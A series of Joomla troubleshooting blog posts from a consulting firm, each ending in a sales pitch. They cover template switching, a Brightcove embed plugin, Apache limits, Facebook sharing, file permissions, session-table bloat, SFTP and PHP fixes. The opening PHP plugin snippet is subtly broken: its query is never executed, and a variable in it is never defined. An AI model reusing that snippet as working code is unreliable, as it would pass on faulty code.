It wasn’t a hard task as our client expected. All that we needed to add was to create a site-only system plugin with the following PHP code in the onAfterInitialise function:

$session = & JFactory::getSession();
$currentTemplate = $session->get('currentTemplate', '');
$application = JFactory::getApplication();
$jinput = $application->input;
$switchTemplate = $jinput->get('switchTemplate', 'false', 'filter');

if (empty($currentTemplate) && $switchTemplate == 'false'){
	//The user has not tried to change the default template and the default template is the one currently set
	//Do nothing

}
elseif (!empty($currentTemplate) && $switchTemplate == 'true'){
	//The user is trying to switch back to the default template
	$session->set( 'currentTemplate', '' );		
}
elseif ((!empty($currentTemplate) && $switchTemplate == 'false') || (empty($currentTemplate) && $switchTemplate == 'true' )){
	//The user has not tried to change the template but the accessible template is set OR the user
	//has tried to change to the accessible template.
	$db = JFactory::getDbo();
	$sql = "SELECT template, params FROM #__template_styles WHERE template='".$accessible_template."'";
	$template = $db->loadAssoc();
	if (!empty($template)){
		$application->setTemplate($template['template'], (new JRegistry($template['params'])));
		$session->set( 'currentTemplate', $accessible_template );		
	}
}

In short, the above code will check the $_SESSION and the $_GET variables to see if the user has switched (or not) to a different template. It’ll also save the current template used in the $_SESSION using Joomla’s JSession object.

After creating the plugin, all that we needed to do was to create a simple Jumi module to display the button to switch back and forth between the template.

Note: Our code assumes that you’ll only be switching to only one template (and back to the original template). If you want to allow your users to switch to an array of templates, then the code above will need to be substantially changed (you will also need to change the Jumi module). As usual, you can always contact us for help.

Another note: We might, at some point in time in the future, release an advanced plugin that does all the above (and much more). Stay tuned!

If you need help implementing the above, please contact us and we’ll do the implementation for you. Our prices are right, our work is exceptional, and we are the friendliest programmers on this galaxy (assuming, of course, that Earth is the only inhabited planet)!

A Joomla Plugin to Easily Embed Brightcove Videos

Large corporations don’t typically use YouTube to host their videos, they use something else, something like Brightcove. The reason why they do that is because Brightcove is a paid video hosting platform, which means that they can get support if they run into problems, and they can hold the company (Brightcove) accountable if something goes wrong (unlike free video hosting services, where you get the service as is).

For those corporations that embed Brightcove videos on their Joomla websites, we have excellent news for you! We have created a Joomla plugin that will allow you to easily and reliably embed Brightcove videos on your website. But, why are we providing this plugin? Isn’t embedding Brightcove videos as simple as pasting some JavaScript into the HTML source code of a content item?

Well, yes, but the problem with Brightcove videos is that the JavaScript gets messed up if you toggle the editor from HTML view to source code view (or vice versa). No matter which Joomla editor you use, when you toggle the view, the object tag gets modified to include the following:

data="" type="application/x-shockwave-flash"

and the following additional parameter will be added:

<param name="movie" value="" />

This results in the corruption of the embed code, which means that the video will no longer display on the Joomla website. The reason why this problem happens is a core JavaScript functionality that is common to all Joomla editors. That functionality (wrongly) assumes it’s a good thing to modify the embed code to include the above.

Now, if you use our plugin, you will protect any Brightcove embeds you have on your Joomla website from these changes, because the code that you will use to add Brightcove videos will be as simple as the following:

{brightcrove|width|height|playerID|playerKey|videoPlayer}

With the exception of brightcove in the code above, all the fields are dynamic and are self explanatory. The value of these fields can be found in the embed code of your Brightcove video. For example, to generate the following embed code on your Joomla site:

<script language="JavaScript" src="http://admin.brightcove.com/js/BrightcoveExperiences.js" type="text/javascript"></script>
<object id="myExperience987654321" class="BrightcoveExperience">
	<param name="bgcolor" value="#FFFFFF" />
	<param name="width" value="500" />
	<param name="height" value="300" />
	<param name="playerID" value="123456789" />
	<param name="playerKey" value="ABCDEFGHIJ" />
	<param name="isVid" value="true" />
	<param name="isUI" value="true" />
	<param name="dynamicStreaming" value="true" />
	<param name="@videoPlayer" value="987654321" />
</object>
<script type="text/javascript">// <![CDATA[
	brightcove.createExperiences();
// ]]></script>

You will need to add this to your content item:

{brightcrove|500|300|123456789|ABCDEFGHIJ|987654321}

And that’s it!

The plugin is available for free (under the GPL License) and can be downloaded from here. The plugin is written for Joomla 2.5 but should also be compatible with Joomla 3.x (we haven’t tested it).

Please note that this plugin is provided “as is”, and, although we completely trust our code, we cannot be held accountable for any direct/indirect issues the plugin may cause on your website.

If you want support for the Brightcove Joomla plugin, then please contact us. Note that our super affordable fees apply.

“Save failed with the following error: Invalid parent ID” Error on Joomla

A client called us this evening and told us that all of a sudden, everytime he tried saving an article belonging to a certain category (it was the “Technology” category), he was seeing the following error:

Save failed with the following error: Invalid parent ID

He told us that articles belonging to other categories save fine, and if he switches the category of an article belonging to the “Technology” category to a different category, then that article will save fine. Hmmm… Usually, whenever we see something like this we think about a corrupt entry in the #__assets table.

So, the first thing that we did was that we logged in to the backend and then went to the Content -> Category Manager, and then clicked on Rebuild on the top right. That didn’t solve the problem…

The next thing that we did was that we opened the “Technology” category, and then clicked on Save on the top right. That fixed the problem! Joomla has automatically fixed the corruption in the #__assets table for that entry simply by saving it again.

But, why did the problem happen in the first place?

We really have no idea what caused this problem to happen, and our client was not interested in conducting an investigation to find out the root cause of this issue. Our guess is that the cause of this problem is a 3rd party extension that didn’t handle the #__assets table properly, and so it caused the corruption.

If you are seeing the above error on your Joomla website, then try rebuilding the categories in the Category Manager, if that doesn’t work, then try re-saving the category. If that still didn’t fix the problem, then your best option would be to contact us so that we can fix the problem for you. Our prices are affordable, our work is professional, and you’re sure to gain new friends who actually care about your business! What are you waiting for?

Your Joomla Website Is Really Really Slow? Maybe You Hit the Maximum Number of Apache Clients!

One of our prominent clients is a US racing magazine. The magazine has a Joomla website that discusses everything related to racing, such as Formula 1, Indy 500, NASCAR, etc… The website has a lot of content and receives a substantial amount of visitors. The problem was that during peak hours, the website became very slow!

We optimized the Joomla website, but still, we noticed that as soon as the website reached a couple of hundred simultaneous requests, everything became slower, much, much slower, despite having a load lower than 1. We suspected the firewall, but the host confirmed that there was no bottlenecks at the firewall.

Now what could cause the website to be suddenly slow and non-responsive once it reaches a specific number of requests? It can’t be a Joomla extension, that’s for sure. It might be the firewall (but the host, again, confirmed that the firewall settings were non-problematic), and it can’t be a hack (although we did check whether the website was hacked, just to be sure).

We then asked the host to completely take our client’s server off the firewall, and they did (usually hosts refuse to accommodate this request but our client was just too big), still, the problem was still there and the website was losing visitors and potential advertising revenue.

We spent many hours investigating the problem, until we found out that the server was hitting the Maximum Number of Clients allowed (the value of which is set at the Apache level). Here’s how we found out:

  • We logged in to WHM.
  • We clicked on Server Status and then we we clicked on Apache Status.

  • We saw the following message:256 requests currently being processed, 0 idle workers.

Aha! The server was running out of free workers (or free clients) and that’s why all the other requests were waiting until there are available clients. So, to fix the problem, all that we needed to do was to increase the Maximum Number of Clients setting in Apache (the Maximum Number of Clients is the maximum number of requests [or connections] that the server is allowed to handle simultaneously). Here’s how we did that:

  • We logged in to the WHM Control Panel of the website.
  • We clicked on Server Configuration, and then clicked on Apache Configuration, and finally clicked on Global Configuration.

  • We changed the value of Server Limit from 256 to 512 and we changed the value of Max Clients from 256 to 512.

  • We saved the configuration, rebuilt the main Apache configuration file, and restarted Apache.

  • That fixed the problem.

If your Joomla website slows down dramatically after it reaches a certain number of requests, then it might be that it hit the maximum number of clients. Modify the Max Clients value in your Apache Configuration in WHM and you should be OK. If that doesn’t fix the problem, then please contact us and we’ll investigate the issue and we’ll definitely fix it. Our work is professional, our team is made of experts, and we don’t charge much.

Problems with Sharing Links of a Joomla Website on Facebook

One of our clients called us yesterday afternoon and told us that as of recently, whenever he tries to share a link from his website on Facebook, only the title of the link appears, the description and the image do not. Our client was using the latest version of Joomla, 3.3.1.

We checked the generated HTML code of his website and we noticed that all the Open Graph meta tags were there, specifically og:type, og:title, og:description, and og:image, all of them were properly formatted, and so there wasn’t any reason for the link sharing on Facebook not to work.

We checked the URL on Facebook’s OpenGraph Object Debugger, and it was returning the following error:

Object at URL ‘http://ourclientjoomlawebsite.com/’ of type ‘website’ is invalid because a required property ‘og:type’ of type ‘string’ was not provided.

Hmmm… That’s odd, because we could definitely see the og:type meta property in the HTML code. So we compared the website to another client’s website (which was working) the following way:

  • We created a file called test.html from the HTML source of the homepage of the non-working website.
  • We then created another file called test2.html from the HTML source of the homepage of the working website.

  • We uploaded both pages to the root directory of our client’s website (the website with the problem, of course).

  • We started removing code from both files while continuously testing those files on the Facebook’s Open Graph Object Debugger.

  • We reached a point where both files only had the basic HTML tags, and the og:type, og:title, and the og:description meta tags. For some reason, the problem was still there.

  • We then scrolled down to the bottom of the Facebook’s Open Graph Object Debugger page and we clicked on the See exactly what our scraper sees for your URL link (you can find this link under the URLs section next to the Scraped URL field). For some reason, the page with the problem showed a blank page (yes, we know, we don’t like blank pages too), but, the page that was OK was scraped properly.

  • We continued our research, and then, by coincidence, we noticed that even though the content of both files was the exact same, the page that was not working was double the size (in bytes) of the page that was working.

The last point completely puzzled us; why is it that one page is double the size of the other, despite having nearly the exact same content? We knew that by solving this riddle, we would solve the whole issue.

After doing some research, we discovered that HTML gzip compression can cause Facebook to become unable to scrape the website, and so we logged in to the backend of the Joomla site, went to the Global Configuration page, clicked on the Server tab, and changed the Gzip Page Compression value from “Yes” to “No”. We then clicked on Save on the top left.

We then tried to share the link on Facebook, and, surprisingly, the problem was solved! Additionally, Facebook’s URL Scraper was no longer displaying an empty page!

If you have problems sharing links on Facebook, and if you’re sure that all the Open Graph meta tags exist in your HTML code and are properly formatted, then try disabling GZip Page Compression on your Joomla website. If you still see the problem, then check the Facebook’s URL Scraper to see how Facebook sees your website – this should help a lot. If you need help from Joomla professionals to fix this problem, then you’re at the right place. Just contact us and we can solve the problem for you swiftly and for a very affordable price!

You Can’t Create a Menu Item Alias Pointing to Another Menu Item Alias

An established client emailed us this afternoon and told us that, in one of their menus, they had this link:

http://ourclientjoomlawebsite/?Itemid=500

The URL was returning a “404 – Component not found” error and they were confused as to why the problem was happening. We logged in to the backend of the site and we immediately discovered the problem:

  • Our client had a menu item pointing to an article, let’s call it Menu Item A.
  • They had a menu item, let’s call it Menu Item B, with an id of 500, that was a menu item alias to Menu Item A.

  • They had another menu item, Menu Item C, which was a menu item alias to Menu Item B.

If you have been using Joomla for a very long time, you would have guessed the error: you can’t make a menu item alias point to another menu item alias, what our client should have done was to point Menu Item C to Menu Item A.

But why can’t you point a menu item alias to another menu item alias?

Well, it’s because of a small bug in Joomla – Joomla must get the original menu item that a menu item alias is trying to point to, but it doesn’t. For example, in our example above, Joomla must automatically link Menu Item C to Menu Item A, but, again, it doesn’t. It’s not that hard to implement this feature by the way. We think that Joomla must take this into consideration in one of its next revisions, since this problem is the cause of much confusion, especially on very large sites, where it’s really hard to find the original menu item (large sites have literally dozens of menus and some menus have about 50 menu items).

Now, if you’re facing the same problem on your website, then make sure you are not pointing a menu item alias to another menu item alias. If you can’t find the original menu item, or if you just need help resolving this issue, then please contact us. We’re here to help, we always answer the phone, our work is top notch, and our fees are very competitive.

Internal Webspam on Websites – The Enemy Within!

Note: This post has some assumptions on how Google works since nobody, with the exception of a select secretive few at Google, is fully informed about the insides of Google’s search engine rankings. Please keep that in mind while reading this post.

One of our major clients told us that they lost in traffic to their #1 competitor. They told us to review their website and see if there’s anything that can be done technically that can improve its search engine rankings and restore the website’s former glory! The website, of course, was powered by Joomla.

We checked everything on the website: The speed was fast (but not that fast, and that’s why we’ll be doing a round of optimization soon), all the meta tags were there and they were OK, the website was up-to-date as well as all the extensions, the website was clean (it wasn’t hacked), and the website’s traffic didn’t fall by that much, but it did fall.

We then looked at the content, the first article was OK, the second article that we checked, however, was not. The second article merely consisted of a long tail keyword as a title, and a small sentence linking to another, much more lengthier article on the website. Hmmm…

We immediately emailed our client and told them that this practice of trying to lure long tail traffic using long tail keywords may work at first, but it will definitely backfire at one point, when Google starts thinking (and rightly so) that they’re trying to game the system. Google has a technical name for this practice; it calls it webspam. For those who don’t know, here’s how Google addresses webspam:

  1. It checks the reputation of the website. If it’s an established website with a high reputation (such as our client’s website), it gives it the benefit of the doubt. Neutral reputation/non-established websites get penalized swiftly.
  2. Since the website has a high reputation, Google considers these short posts as beneficial to the web’s ecosystem and will return them in top results; effectively granting more traffic to the website through these very short posts. Those writing content on the website are lured into thinking that their strategy is working, and so they start writing more and more of these short posts to claim more traffic.

  3. Once the traffic generated by these short posts is noticeable, Google will start thinking, “hmmm, are they really doing that?”, and so Google starts reducing the traffic generated by these posts.

  4. Once the traffic generated by these posts is significant to the traffic’s website, then Google will think, “they are doing that… And I’m going to do something about it.” At this point, Google will penalize the website.

  5. Once penalized, a website may take literally years to fully recover. During these years, the administrator should beg Google every month until Google thinks that it won’t be gamed again by that website.

Our client told us that they will stop writing these short posts immediately, and they asked us if it’s a good idea to delete the previous short posts they have written. We told them “No”, because if they did, then this will be a red flag for Google. We told them that what’s done is done, and that the most important thing is not to do it.

We will closely monitor our client’s traffic to see if improvement is made over the next few weeks. If the situation further deteriorates, then we might ask for more radical actions on the website, such as deleting these short posts.

Now, some of you might be asking, since this is internal webpsam, is there an external webspam? Well, yes. External webspam is when you do the exact same thing, but on a different website. So, for example, the person will create a blog on WordPress, and will write one-sentence-posts over there (with long tail keywords), and then, in those posts, will link to his original website.

External webspam is less harmful than internal webspam because of 2 reasons: 1) Google is not 100% sure that the person writing these posts on the WordPress blog is an administrator on the original website, and not some competitor trying to get the website penalized and 2) Google can easily discount all the links incoming from the WordPress blog, without penalizing the original website.

If your established website (Joomla or non-Joomla) has started to lose some traffic, then you should check whether you are involved in the, ahem, webspam practice. If you are, then you should stop doing it immediately since not only you are not benefiting anyone out there, you are also harming your website. If you need help reviewing your website, then please contact us. Please note that our super affordable fees apply.

JTableInterface Has Changed in Joomla 3.3.1 and That Is Causing Problems

A new client called us yesterday and told us that he was seeing some blank pages on his Joomla website. Of course, we have discussed the blank page issue many times on this blog before, but, if you haven’t read any of our previous posts on blank pages, then, in short, here’s what causes them: A PHP fatal error.

So, we maximized error reporting (we changed the value of error reporting to maximum in the configuration.php located under the root directory of the website) and we checked the blank page again, and we saw the following error:

Fatal error: Declaration of DtrTable::load() must be compatible with that of JTableInterface::load() in /var/www/vhosts/[website-address]/httpdocs/administrator/components/com_dtregister/lib/dttable.php on line 214

Aha! A component that used to work no longer works because a very important interface no longer implements its methods the same way. That interface was the JTableInterface.

How did we fix the problem?

We fixed the problem by opening the dttable.php file located under the administrator/components/com_dtregister/lib and changing this function declaration:

function load($id, $reset = true)

to this one:

function load($id = null, $reset = true)

Now, the question is, how did we know that we had to make this particular change in the code to fix the problem? Well, since the DtrTable class extends the JTable class which implements the JTableInterface interface, all we needed to do was to look at the implementation of the load function in the JTableInterface interface in the interface.php file located under the libraries/joomla/table folder. That function was declared the following way:

public function load($keys = null, $reset = true);

Of course, once we fixed the problem, we had a very similar problem in another function in the same class and in other classes as well, and so we fixed them all (it was a very tedious job because it was all manual work). After something like 10 changes, the blank page was gone and the website was running smoothly again.

In our opinion, an even better solution to this problem was to update the problematic extension altogether, but we weren’t sure that the update will make things better or worse, and we didn’t have enough time to try. Additionally, we wanted our readers (that’s you!) to be able to fix the problem easily if it’s in a no-longer-supported-extension.

So, if you have the same problem on your website, then please try to update the affected extension first. If that doesn’t solve the problem, then the best thing that you can do is to manually implement the fix above. If that’s a bit above your head, then why not contact us? Our fees are affordable, our work is fast and professional, and you will gain some new friends who will genuinely care about your business!

How to Change the Default Sort Order of the Articles in Joomla’s Backend

Note: This post applies to both Joomla 2.5 and Joomla 3.x.
Warning: This post requires that you make a simple modification to a core Joomla file, which means that the next time you update Joomla, your changes might get overwritten and you will need to re-apply them.

We have many clients that literally have thousands of articles. One of the major annoyances that these clients experience is that, when they go to the Articles pages in Joomla’s backend (by going to Content -> Article Manager), the articles are sorted by title, and not by creation date.

Sorting by title is OK when you only have a few articles on your Joomla website, but if you’re adding 20 articles a day, then it becomes a problem. You will need the articles to be sorted by creation date descending. Of course, you can always click on the Date header twice in the Article Manager page to sort by creation date descending, but that’s not very efficient, is it?

Now, unfortunately, there is not a single setting in Joomla that allows the administrator to change the default sorting anywhere in the backend. So, to address this problem for our clients, we have done the following:

  • We opened the file articles.php located under the administrator/components/com_content/models folder.
  • We changed the following line (located in the populateState function):

    parent::populateState('a.title', 'asc');

    to:

    parent::populateState('a.created', 'desc');

  • We saved the file and uploaded it back.

  • That fixed the problem!

As we have mentioned in the beginning of the post, this fix is a core change. So, if you’re uncomfortable with that, don’t do it!

Final note: The above solution can be applied to nearly any view in Joomla where default ordering is the problem. Just open the associated model file (under the models directory of the component in question), and change the default ordering in the populateState function.

If you need help implementing the above solution, then please contact us. Our fees are super affordable, our work is professional and clean, and we’ll definitely have fun working together!

“500 Internal Server Error” on a Joomla Website After Using the Admin Tools Extension

This morning, we had a client calling us and saying that his website was displaying a “500 Internal Server Error” message. He told us that this started happening when he tried to fix the permissions by using Admin Tools, which is a well known Joomla extension that is used for security and fixing broken Joomla databases.

Before we start, we would like to point out that we’re not huge fans of Admin Tools, we have seen many websites getting completely broken when using some features of Admin Tools, which means that Admin Tools, in many cases, does the complete opposite of what it claims to do.

In any case, since this is an “Internal Server Error”, then this means that Apache must have logged what happened to the error log file. So, we checked the error log file by logging in to the cPanel of the website, and then clicking on Error Log link under the Logs section, and this is what we saw:

[Thu Jun 05 09:39:33 2014] [error] [client 67.71.74.0] File does not exist: /home/[username]/public_html/500.shtml
[Thu Jun 05 09:39:33 2014] [error] [client 67.71.74.0] SoftException in Application.cpp:261: File "/home/[username]/public_html/index.php" is writeable by group
[Thu Jun 05 09:36:33 2014] [error] [client 67.71.74.0] File does not exist: /home/[username]/public_html/404.shtml

Aha! It seems that Admin Tools changed the permissions of the index.php file to be written by everyone, so we checked the filesystem, and to our horror (well, that’s an exaggeration, we weren’t really horrified, but we were shocked nonetheless), all the file and folder permissions were set to 777. From the cPanel‘s File Manager, we changed the permissions of the index.php file located under the root directory of the website and the one located under the administrator folder to 644. We then changed the permissions on the administrator folder to 755. That allowed us to access the backend of the site.

We then logged in to the backend of the Joomla site, and we went to Components -> Admin Tools, and then we clicked on Permission Configuration. We discovered that the Default Permissions for both the Directories and the Files were set to 777. That causes a problem under suPHP (because suPHP thinks, and rightfully so, that these permissions are not safe). We changed the Default Permissions of the Directories and the Files to 755 and 644 respectively, and then we saved them (by clicking on Save Default Permissions), and then we went back to the main screen on Admin Tools, and we clicked on Fix Permissions. That completely fixed the problem!

If you have a “500 Internal Server Error” error (yes, we know, “error” is there twice) on your website after using the Admin Tools extension, then check your file permissions, if they’re all 777, then there is your problem! Just apply the above solution and you should be set. However, if you still have the same issue or if you think that our post is too technical, then please contact us. We will fix the problem for you in no time, our rates are super affordable, and we are the friendliest Joomla experts in the Milky Way!

A Flooded Session Table Can Dramatically Slow Down Your Joomla Site

About a week ago, a new client called us and told us that the her company’s corporate website is slow, very slow. So we checked the Slow Query Log (see here for more about it) on the website’s server, and we immediately noticed the issue. The log was literally over 200 MB in size and it was flooded with the below query:

INSERT INTO `#__session` (`session_id`, `client_id`, `time`) VALUES ('8ffe0d7f994614d079df29d747888213', 0, '1393575824');

Hmmm… We thought, why would such a simple query be flooding the Slow Query Log? It’s a very simple insert query, but then we checked the #__session table using phpMyAdmin, and then we discovered the real issue, the #__session table contained literally more than a million rows, and since there was a lot of indexes on that table, an insert to that table was taking a ridiculous amount of time, something like 15 seconds.

The short term solution was simple, we only needed to truncate the table (e.g. delete the all the rows in that table and completely reset its indexes), we did this by issuing the following command in phpMyAdmin:

TRUNCATE TABLE #__session

(Note: If you want to use the above command, then you will need to replace #__ with your table prefix.)

That fixed the problem! Now the question was, what caused the #__session table to contain these million rows in the first place?

Well, the site was huge; it was getting something like 30,000 visits every day, and, for those of you who don’t know, even if the visitor is a guest (e.g. not a logged in user), an entry in the #__session table is created for him. But, that still doesn’t explain why there was a million rows in that table, since Joomla should regularly delete expired sessions.

We examined the configuration settings of the website, and we noticed that the session lifetime was set to 1440, which means 1440 minutes (and not seconds, see here for more on Joomla’s inconsistency when it comes to cache time), which means a full day, which ultimately means that, since the website receives 30,000 visits a day, there shouldn’t be more than roughly 30,000 rows in the #__session table, right? Wrong!

First of all, the site receives a lot of invisible traffic (traffic from bots, spam, etc…), and second of all, Joomla is not very good at handling sessions efficiently. So, the same user can have multiple session entries in the database (this is because Joomla re-creates the session for the user on expiry, without removing the previous session).

So, what did we do to solve the problem? Well, we lowered Joomla’s session expiry date from 1440 minutes to 120 minutes (2 hours). This worked perfectly, and it wasn’t annoying to the staff working on the site, since the session is kept alive as long as the logged in staff member is not idle for more than 2 hours.

Note: We first suspected the session cleaning process had a bug in it and that it wasn’t cleaning the session table properly, but, after testing it, we discovered that we were wrong. The session cleaning process worked properly (it did work 50% of the time though because of a condition in the code, but that was more than enough).

If your website has some slowness issues, then a quick fix might be to lower the session lifetime in the configuration settings. If that didn’t work for you, then please contact us. We are experts at optimizing Joomla, we work fast, and we don’t charge much!

Using FTP on Your Joomla Website Can Result in Getting It Hacked

If you’re using FTP to upload files to your Joomla websites, then, you probably know that you’re not alone. The vast majority of Joomla websites allow for FTP access. What you probably do not know, is that you’re compromising the security of your Joomla website when you’re using FTP.

Why is that?

Well, because FTP sends the username and password for authentication (as well as every other request) in clear text, which means that anyone (or anything) eavesdropping on your connection would be able to steal those credentials and then probably use FTP to hack your website.

Now, the million dollar question is, can anyone eavesdrop on your connection?

The answer is no. Not anyone would be able to eavesdrop on your connection and read the FTP credentials when you send them to the server; it is only those people who are on the same network that have the ability to eavesdrop on your connection. But, and there’s always a but, if you have a machine infected with a trojan virus, then that virus can spy on your connection, and then send its findings home, e.g. to the person who infected the machine with the virus in the first place. That person would then, of course, use those credentials to hack your website.

So, what is a better alternative?

Well, SFTP, of course! SFTP stands for Secure File Transfer Protocol, which is the same concept as FTP, but instead of sending the commands to the server as raw text, it sends them as encrypted, making it extremely hard for anyone (or, again, anything) eavesdropping on the connection to tell what the login credentials are.

Is SFTP 100% secure?

Unfortunately, it is not, because if the machine establishing the SFTP connection has a virus that monitors keystrokes, then it wouldn’t be that hard for that virus to guess what kind of information is being transmitted to the server, and then sends that information “home” (e.g. to the hacker). However, SFTP remains far superior to FTP when it comes to security, since FTP is not secure at all.

Do all servers support SFTP by default?

Unfortunately, not. Try using the FTP username and password for your SFTP connection to check if you’re able to use SFTP. If you can’t, then you should tell your hosting company to ensure that the sshd process is running (in other words, you’re able to connect through ssh), and that your FTP username and password can also connect through SSH.

Is SFTP slower than FTP?

Definitely. This is because the SFTP protocol has to encrypt the data prior to sending it to the server. There’s also an additional network overhead since the transfers are done through SSH. SFTP is about 60% slower than FTP. However, speed shouldn’t be an issue unless you’re transferring large files.

Should the FTP service be stopped once you’re using SFTP?

Not necessarily, but it’s better to shut it down so that no one on your team uses it and compromises the security of your website.

If you’re having problems enabling SFTP on your Joomla website, then please contact us. We’ll be extremely happy to help. Note that our very affordable fees apply!

JLIB_APPLICATION_ERROR_COMPONENT_NOT_LOADING On the Joomla Site

Since the problem discussed in this post is becoming more common and is very critical, we have decided to start this post in reverse. We will first offer a very quick solution, and then we will discuss how we found the problem, and then finally offer a long term solution to the problem.

If you’re seeing one or more of the following errors on your Joomla website…

JLIB_APPLICATION_ERROR_COMPONENT_NOT_LOADING
Error loading component: com_login, 1
Error loading component: com_k2, 1

…then the super quick solution is to clear the Joomla cache, by logging in to the Joomla backend, and then going to Site -> Maintenance -> Clear Cache, and then clicking on the checkbox on the top (to select all cached items) and then clicking on Delete on the top right. This will fix the problem for the short term, but the problem might re-emerge again if the cause has to do with a problem on the server.

Now let us explain what happened yesterday afternoon. A new client called us and told us that only the homepage is working on his Joomla website, all the other links do not work. We thought, that’s a piece of cake; it’s definitely a corrupt .htaccess file, and that it was. But, there was an additional snag, the .htaccess file was hacked, which means that there was more to it. We cleaned up the .htaccess file, and we scanned the website for any other issues, but there were none. We informed the client that the website should be secured to ensure that hack won’t come back again and he authorized the work. Everything worked perfectly, but late at night, we started seeing the JLIB_APPLICATION_ERROR_COMPONENT_NOT_LOADING error everywhere on the site.

We did a quick investigation and we realized that this error is thrown when there is a problem with caching, and so we thought that the cache was corrupt (which was true), so we cleared the cache, and that solved the problem.

However, about an hour later, we started seeing the same problem again. Hmmm… Clearing the cache (again) fixed the problem, but we knew it was only a matter of time until we see the same problem again! And, to our disappointment, we weren’t wrong. We saw the problem about 30 minutes later. What could it be?

We checked Apache’s error log by logging in through ssh to the server (as root) and issuing the following command (note that our client was using WHM):

tail -f error_log

The following line displayed on the console:

[27-May-2014 20:44:19 America/New_York] PHP Warning: PHP Startup: Unable to load dynamic library ‘/usr/local/lib/php/extensions/no-debug-non-zts-20100525/memcache.so’ – /usr/local/lib/php/extensions/no-debug-non-zts-20100525/memcache.so: cannot open shared object file: No such file or directory in Unknown on line 0

Aha! There was a problem with the MemCache Apache module, and that was causing the corruption in the cache. We immediately informed the hosting company and they took care of the problem by re-compiling the MemCache module.

So, what caused the MemCache module not to work all of a sudden?

It seems that when we told our client that his website was hacked, he informed his hosting company, and what they did was that they performed a PHP update, and some modules, such as the MemCache module, became incompatible with the new PHP version because they weren’t recompiled when PHP was updated.

If you’re having the same problem on your website, then try clearing your cache. If it only fixes the problem temporarily, then the problem might be something with your server. Check your Apache logs and inform your host. You can also contact us and we’ll do the work for you promptly, professionally, and for a very affordable fee.

Dropdowns Not Working in Joomla’s 1.5 Backend

We had a very odd task today. A client called us and told us that she can’t add a new article (or update an existing one) on her Joomla 1.5 website (yes, even in May of 2014 there are still many websites using Joomla 1.5), because both the section dropdown and the category dropdown are empty (so, when she tries to save, Joomla tells her that she must choose a section and a category first).

We checked the website and we immediately saw the problem. Not only that, there wasn’t a single dropdown working on the whole website! Any page in the admin section of the site requiring dropdowns did not work, because the dropdowns were all empty. So we started the investigation.

We first checked the file that was at the heart of the select input (dropdown) generation, which is the file select.php located under the libraries/joomla/html/html folder. In that file, we checked the function responsible for doing the whole job, which is the genericlist function. The function was returning an HTML string consisting of an empty dropdown, but the array being passed as a parameter was not empty. This confirmed our doubts that the problem had nothing to do with the database, but rather with the function itself – possibly a PHP issue? Let’s find out!

Now, since the function is not generating any option tags, then it means the problem was in this line:

$html .= JHTMLSelect::Options( $arr, $key, $text, $selected, $translate );

Luckily, the function options was in that very same file, so we checked it. The parameters passed to it were all OK, but that function wasn’t returning anything. Why?

So we added the following lines (for debugging) to the options function:

error_reporting(E_ALL);
ini_set('display_errors', '1');

And the magic happened! We started seeing the real issue when we refreshed the page; we saw these 2 errors:

Strict Standards: Non-static method JHTML::_() should not be called statically, assuming $this from incompatible context in /httpdocs/administrator/components/com_config/controllers/application.php on line 90

Strict Standards: call_user_func_array() expects parameter 1 to be a valid callback, non-static method JHTMLSelect::genericlist() should not be called statically in /httpdocs/libraries/joomla/html/html.php on line 91

Strict Standards: call_user_func_array() expects parameter 1 to be a valid callback, non-static method JHTMLSelect::option() should not be called statically in /httpdocs/libraries/joomla/html/html.php on line 91

Aha! The problem was some outdated PHP code (PHP used to be tolerant to wrong code before, but it’s getting more and more stricter). In short, there were some non-static methods that were called statically.

So, how did we solve the problem?

Glad you asked! All we needed to do was to add the word static to the declaration of all the functions in the aforementioned select.php file, as well as to the function _ (underscore) in the html.php file (which is located under the /libraries/joomla/html/ folder), and to the function _ (also underscore) in the file methods.php (located under the libraries/joomla folder). So, for example, we changed the following line:

function option( $value, $text='', $value_name='value', $text_name='text', $disable=false )

to:

static function option( $value, $text='', $value_name='value', $text_name='text', $disable=false )

That fixed the problem!

But what caused the problem in the first place?

These problems are usually caused by a PHP update on the server. As mentioned earlier in this post, newer PHP versions are no longer tolerant to wrong/ambiguous PHP code.

If you need help implementing the above then please contact us. We will definitely fix the problem for you, we won’t charge you much, and we’ll do the work in no time!

Why Is It that Joomla Sometimes Doesn’t Show the Errors Even if Error Reporting Is Set to Maximum?

If you have have been working on Joomla for a long time, then most likely you ran into the situation where you’re seeing a blank page instead of your homepage. Under normal circumstances, changing the Error Reporting value (under Site -> Global Configuration -> Server) to Maximum will show the error(s) that is(are) causing the blank page issue. However, sometimes doing that will change nothing, you will still see a blank page.

Why?

Well, there are 2 causes of this issue:

  1. The @ error control operator: The @ error control operator, when prepending a PHP expression, will suppress all notices/warnings/errors that are incurred on that PHP expression. The only scenario where the @ control operator won’t work is when the PHP expression has a parse error.

    In 99% of the cases, the @ error control operator is not the cause of the blank page, simply because it is strictly used to suppress warnings, and not errors. But for the 1% of the cases where the @ error control operator is the cause of the blank page, it will be a nightmare to locate where the actual problem is. In short, you will have to search for all the files that contain the @ operator at the beginning of a line, and then debug these files one by one.

    Generally, we think that the usage of the @ error control operator indicates weak coding skills, so, if you have an extension that use it extensively, then you are better of with another extension that does more or less the same thing but coded more professionally.

  2. Output buffering: Before discussing this issue, let us explain, concisely, what is output buffering. PHP (the programming language that powers Joomla), by default, will send the output to the browser immediately when it is instructed to do so (for example, using the echo statement). If output buffering is turned on, then any output after the ob_start function call will be stored in a variable that is later retrieved using the function ob_get_contents. Note that output buffering will only end when ob_end_flush or ob_end_clean are called.

    Now, you might be wondering, why use output buffering?

    In the majority of scenarios, output buffering is used to ensure that you don’t see the “headers already sent” error or if you want to manipulate the output prior to displaying it (there’s also claims that the output processing will be faster because it’ll be done in one shot, but we reckon that the benefit claimed is negligible, if there’s one). The problem, however, is that since output buffering holds all output until the buffering ends, then you can’t see the (fatal) error if it happens before the buffering ends, and so you will see a blank page that will not go away even if you set the Error Reporting to Maximum.

    On the bright side, there are several ways to find what the error is (note that you must change Error Reporting to Maximum in your configuration for the below to work):

    1. Disable output buffering at the .htaccess level: All you need to do is open the .htaccess file, and then add the following line to the top:

      php_flag "output_buffering" off

      Adding the above line will ensure that output buffering will no longer work, and so you will see all the errors on your Joomla website.

    2. Disable output buffering in the php.ini file: You can disable output buffering by adding the following line to your php.ini file:

      output_buffering = Off

      Note that it is recommended that you disable output buffering at the site level, by copying the php.ini file to the root directory of your website, and then changing the setting there. This will ensure that you won’t affect other sites (that may need output buffering to work properly) running on the same server. Also note that this is equivalent to the above action, so, if you have the choice, then it’s better to disable output buffering in the .htaccess file (using the above method) instead of overriding the php.ini file.

